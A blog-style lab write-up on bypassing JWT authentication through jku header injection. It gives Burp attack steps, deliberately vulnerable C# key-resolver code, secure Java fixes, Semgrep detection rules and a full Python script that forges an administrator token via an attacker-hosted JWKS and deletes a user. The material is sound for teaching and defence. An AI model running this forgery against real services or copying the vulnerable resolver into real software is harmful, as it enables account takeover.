Post

Lab 05: JWT authentication bypass via jku header injection

Lab 05: JWT authentication bypass via jku header injection

1. Executive Summary

Vulnerability: JWT Signature Bypass (Insecure jku Header Processing).

Description: The JSON Web Token (JWT) specification includes a jku (JWK Set URL) parameter in the header. This parameter tells the server where to fetch the JSON Web Key Set (JWKS) containing the public key needed to verify the token’s signature. The application is vulnerable because it blindly follows this URL without validating if it points to a trusted domain.

Impact: Full Account Takeover. An attacker can host their own public key on an external server, inject the URL into the jku header, and sign the token with their corresponding private key. The server will download the attacker’s key, verify the forged signature successfully, and grant the attacker the privileges specified in the payload.

2. The Attack

Objective: Access the admin panel by injecting a jku header pointing to an attacker-controlled JWK Set.

  1. Reconnaissance & Key Generation:
    • I logged into my account (wiener:peter) and captured the session JWT.
    • I accessed the JWT Editor Keys tab in Burp Suite and generated a new RSA Key pair.
  2. Hosting the Malicious Key:
    • I copied the Public Key portion of my new RSA key in JWK format.
    • I navigated to the provided Exploit Server and hosted a JSON file containing my JWK inside a keys array:JSON

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      
        {
            "keys": [
                {
                    "kty": "RSA",
                    "e": "AQAB",
                    "kid": "893d8f0b-061f-42c2-a4aa-5056e12b8ae7",
                    "n": "yy1wpYmffgXBxhAU..."
                }
            ]
        }
      
  3. Token Forgery and Injection:
    • I sent the GET /admin request to Repeater and switched to the JSON Web Token view.
    • I modified the header: updated the kid to match my generated key’s ID and added "jku": "https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit".
    • I modified the payload: changed sub to administrator.
    • I signed the token using the JWT Editor extension, ensuring “Don’t modify header” was checked so my injected jku and kid parameters remained intact.
  4. Exploitation:
    • I submitted the request with the forged token.
    • The server read the jku header, fetched my public key from the Exploit Server, verified my signature, and granted me access to the admin panel.
    • I navigated to /admin/delete?username=carlos to complete the objective.

3. Code Review

Vulnerability Analysis (Explanation):

The vulnerability occurs when backend developers implement the jku specification literally but forget the implicit requirement of trust. By allowing the client to dictate the URL of the security material, the application effectively hands over control of the cryptographic verification process to the attacker.

Java (Spring Boot / JJWT)

Technical Flow & Syntax Explanation:

  • header.get("jku"): Retrieves the attacker-supplied URL directly from the unverified JWT header.
  • new URL(jkuUrl).openConnection(): Initiates an outbound HTTP request to the attacker’s server. This is a form of Server-Side Request Forgery (SSRF) used specifically to subvert cryptography.
  • extractKeyFromJson(jwks, kid): The application parses the downloaded JSON and builds an RSAPublicKey object, returning it to the JJWT library. The library then uses this maliciously provided key to validate the malicious signature.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public ClaimsPrincipal ValidateToken(string token)
{
    var handler = new JwtSecurityTokenHandler();
    var parameters = new TokenValidationParameters
    {
        ValidateIssuer = false,
        ValidateAudience = false,
        
        // VULNERABLE: Resolving the key from an untrusted 'jku' header
        IssuerSigningKeyResolver = (tokenStr, securityToken, kid, validationParameters) =>
        {
            var jwt = securityToken as JwtSecurityToken;
            if (jwt.Header.ContainsKey("jku"))
            {
                var jkuUrl = jwt.Header["jku"].ToString();
                
                // Fetching the JWKS blindly
                using (var client = new HttpClient())
                {
                    var jwksJson = client.GetStringAsync(jkuUrl).Result;
                    var jwks = new JsonWebKeySet(jwksJson);
                    return jwks.GetSigningKeys();
                }
            }
            return null;
        }
    };

    return handler.ValidateToken(token, parameters, out _);
}

Technical Flow & Syntax Explanation:

  • IssuerSigningKeyResolver: A custom delegate used to dynamically provide signing keys.
  • client.GetStringAsync(jkuUrl).Result: The application uses an HttpClient to download the payload from the attacker’s URL. Blocking synchronously with .Result inside this resolver fetches the key set without any host verification.
  • jwks.GetSigningKeys(): The framework parses the attacker’s JSON Web Key Set and returns the keys as valid IssuerSigningKeys.

Mock PR Comment

The JWT validation logic currently fetches public keys from the URL specified in the jku header of the incoming token without checking if the domain is trusted. This allows an attacker to host their own public key, forge a token, and bypass authentication.

Recommendation: If the jku header must be used, implement a strict whitelist of trusted domains (e.g., https://trusted-identity-provider.com/). Reject any token containing a jku URL that does not exactly match the whitelist. Ideally, rely on a statically configured local JWKS endpoint instead of the token header.

4. The Fix

Explanation of the Fix:

To safely use the jku header, the application must verify that the requested URL belongs to an explicitly trusted domain. This prevents attackers from pointing the application to their own servers.

Secure Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private static final List<String> TRUSTED_DOMAINS = Arrays.asList(
    "https://auth.mycompany.com/",
    "https://identity.mycompany.com/"
);

public Claims parseToken(String token) {
    return Jwts.parserBuilder()
        .setSigningKeyResolver(new SigningKeyResolverAdapter() {
            @Override
            public Key resolveSigningKey(JwsHeader header, Claims claims) {
                String jkuUrl = (String) header.get("jku");
                
                // SECURE: Strict Whitelist Validation
                boolean isTrusted = TRUSTED_DOMAINS.stream().anyMatch(jkuUrl::startsWith);
                
                if (!isTrusted) {
                    throw new SecurityException("Untrusted JKU URL provided.");
                }

                // Proceed to fetch only if trusted...
                return fetchAndExtractKey(jkuUrl, header.getKeyId());
            }
        })
        .build()
        .parseClaimsJws(token)
        .getBody();
}

Technical Flow & Syntax Explanation:

  • TRUSTED_DOMAINS: A hardcoded (or securely configured) list of authoritative endpoints that are permitted to serve cryptographic keys.
  • anyMatch(jkuUrl::startsWith): Before any HTTP connection is made, the application verifies the URL prefix. If the attacker supplies https://exploit-server.net/, this check evaluates to false, throwing a SecurityException and immediately halting the authentication process.

Secure C#

Technical Flow & Syntax Explanation:

  • Uri.TryCreate(jkuUrl, ...): Safely parses the string into a URI object to accurately extract the domain name.
  • _trustedHosts.Contains(uri.Host): Matches the extracted domain against the explicit whitelist. This prevents SSRF and ensures keys are only downloaded from infrastructure controlled by the organization.

5. Automation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt # PyJWT

def base64url_encode(data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')

def int_to_base64url(n):
    byte_length = (n.bit_length() + 7) // 8
    b = n.to_bytes(byte_length, 'big')
    return base64url_encode(b)

def generate_malicious_jwks(kid):
    print("[*] Generating malicious RSA key pair...")
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    pn = public_key.public_numbers()

    jwk = {
        "kty": "RSA",
        "e": int_to_base64url(pn.e),
        "kid": kid,
        "n": int_to_base64url(pn.n)
    }
    
    jwks = {"keys": [jwk]}
    return private_key, jwks

def exploit_jku_injection(url, exploit_url, username, password):
    s = requests.Session()
    login_url = f"{url.rstrip('/')}/login"
    
    print(f"[*] Logging in as {username}...")
    s.post(login_url, data={'username': username, 'password': password})
    
    token = s.cookies.get('session')
    if not token:
        print("[-] No session cookie found.")
        return

    kid = "malicious-key-id-123"
    private_key, jwks = generate_malicious_jwks(kid)
    
    print("\n[!!!] ACTION REQUIRED [!!!]")
    print("Host the following JSON exactly as it is on your exploit server:")
    print("-" * 40)
    print(json.dumps(jwks, indent=4))
    print("-" * 40)
    input("Press Enter once the JWKS is hosted at your Exploit URL...")

    print("[*] Forging admin token with injected JKU header...")
    payload_b64 = token.split('.')[1]
    padding = '=' * (4 - (len(payload_b64) % 4))
    payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
    payload = json.loads(payload_str)
    
    payload['sub'] = 'administrator'
    
    headers = {
        "alg": "RS256",
        "kid": kid,
        "jku": exploit_url
    }

    private_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    )
    
    forged_token = jwt.encode(payload, private_pem, algorithm="RS256", headers=headers)
    
    print("[*] Sending forged token to /admin...")
    s.cookies.set('session', forged_token)
    
    resp = s.get(f"{url.rstrip('/')}/admin")
    if "Admin panel" in resp.text:
        print("[!!!] SUCCESS: Admin panel accessed.")
        delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
        s.get(delete_url)
        print("[+] Carlos deleted.")
    else:
        print(f"[-] Failed. Status: {resp.status_code}")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("url", help="Lab URL")
    ap.add_argument("exploit_url", help="Your Exploit Server URL where JWKS will be hosted")
    ap.add_argument("username", help="Your username (wiener)")
    ap.add_argument("password", help="Your password (peter)")
    args = ap.parse_args()

    exploit_jku_injection(args.url, args.exploit_url, args.username, args.password)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rules:
  - id: java-jwt-jku-untrusted-fetch
    languages: [java]
    message: |
      The JWT SigningKeyResolver extracts the 'jku' header and performs an HTTP fetch.
      If this URL is not validated against a strict whitelist, it leads to Signature Bypass and SSRF.
    severity: ERROR
    patterns:
      - pattern-inside: |
          new SigningKeyResolverAdapter() {
            public Key resolveSigningKey(JwsHeader $HEADER, Claims $CLAIMS) {
              ...
            }
          }
      - pattern: $HEADER.get("jku")
      - pattern-not-inside: |
          if (<... contains/startsWith/match ...>) { ... }

Technical Flow & Syntax Explanation:

  • pattern-inside: Narrows the analysis to the custom JJWT key resolution adapter block.
  • $HEADER.get("jku"): Detects the extraction of the dangerous parameter.
  • pattern-not-inside: This filter attempts to reduce false positives by ensuring the rule does not flag code that wraps the extraction or HTTP call in conditional validation logic (e.g., verifying against a whitelist).

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
rules:
  - id: csharp-jwt-jku-untrusted-fetch
    languages: [csharp]
    message: |
      IssuerSigningKeyResolver reads the 'jku' header and uses an HTTP client to fetch keys.
      Ensure the URI host is strictly validated to prevent cryptographic bypass.
    severity: ERROR
    patterns:
      - pattern-inside: |
          IssuerSigningKeyResolver = ($TOKEN, $SECTOKEN, $KID, $PARAMS) => { ... }
      - pattern: |
          $CLIENT.GetStringAsync(((JwtSecurityToken)$SECTOKEN).Header["jku"].ToString())

Technical Flow & Syntax Explanation:

  • IssuerSigningKeyResolver = ...: Targets the specific C# delegate responsible for dynamic token verification keys.
  • $CLIENT.GetStringAsync(...): Flags the exact moment the application executes the outbound HTTP request using the dynamically extracted header value. This pinpoints the SSRF and trust boundary violation.
This post is licensed under CC BY 4.0 by the author.